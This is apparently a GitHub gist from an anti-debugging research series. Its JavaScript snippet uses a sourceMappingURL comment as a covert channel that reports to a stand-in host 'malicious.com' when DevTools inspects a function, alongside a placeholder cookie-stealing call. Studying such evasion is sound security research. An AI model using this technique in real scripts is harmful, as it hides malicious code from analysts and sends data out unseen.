Skip to content

Instantly share code, notes, and snippets.

@weizman
Created September 1, 2021 05:27
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save weizman/57f85b21414db78ac9905ea4205a118c to your computer and use it in GitHub Desktop.
Save weizman/57f85b21414db78ac9905ea4205a118c to your computer and use it in GitHub Desktop.
function smap(url, data) {
const script = document.createElement('script');
script.textContent = `//# SourceMappingURL=${url}?data=${JSON.stringify(data)}`;
document.head.appendChild(script);
script.remove();
}
function malicious() {
const detect = (function(){
const dummy = function(){};
dummy.toString = () => {
smap('https://malicious.com/reportFunctionIsDebugged', {name: 'malicious'});
};
return dummy;
}());
// do a malicious action
if (window.stealUserCookies) window.stealUserCookies();
}
// if this '//# SourceMappingURL=' trick doesn't make sense to you, you MUST read part 1 of my anti debugging techniques research!
// check out https://weizman.github.io/?javascript-anti-debugging-some-next-level-shit-part-1
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment